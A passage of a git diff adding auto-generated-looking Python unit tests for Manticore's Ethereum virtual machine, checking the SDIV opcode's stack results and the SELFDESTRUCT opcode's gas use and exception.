+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1809251394333065553493296640760748560207343510400633813116524750123642650623L])
+
+    def test_SDIV_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [113078212145816597093331040047546785012958969400039613319782796882727665664L])
+
+    def test_SDIV_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SDIV_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SDIV_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [190299692360794650807771462593266018184366216L])
+
+    def test_SDIV_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1206167596222043702328864427173832373471562340267089208744349833415761767082L])
+
+    def test_SDIV_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [75385474763877731395554026698364523341972646266693075546521864588485110442L])
+
+    def test_SDIV_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SDIV_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [126866461573863100538514308395510678789577477L])
+
+    def test_SDIV_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [9507379501711720511225274040320L])
+
+    def test_SDIV_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [594211218856982531951579627520L])
+
+    def test_SDIV_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SDIV_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x05'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMSELFDESTRUCT.py b/tests/EVM/test_EVMSELFDESTRUCT.py
new file mode 100644
index 0000000..a0a2ada
--- /dev/null
+++ b/tests/EVM/test_EVMSELFDESTRUCT.py
@@ -0,0 +1,380 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_SELFDESTRUCT(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_SELFDESTRUCT_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30323232323232323232323232323232323232323232323232323232323232323232323232323030
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address = 0xffffffffffffffffffffffffffffffffffffffff
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xff'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'SUICIDED')
+            self.assertEqual(new_vm.gas, 995000)
+
+    def test_SELFDESTRUCT_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30323232323232323232323232323232323232323232323232323232323232323232323232323030
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address = 0x0
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xff'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'SUICIDED')
+            self.assertEqual(new_vm.gas, 995000)
+
+    def test_SELFDESTRUCT_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30323232323232323232323232323232323232323232323232323232323232323232323232323030
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address = 0x1
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xff'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'SUICIDED')
+            self.assertEqual(new_vm.gas, 995000)
+
+    def test_SELFDESTRUCT_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30323232323232323232323232323232323232323232323232323232323232323232323232323030
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address = 0xfffffffffffffffffffffffffffffffffffffff0
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xff'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'SUICIDED')
+            self.assertEqual(new_vm.gas, 995000)
+
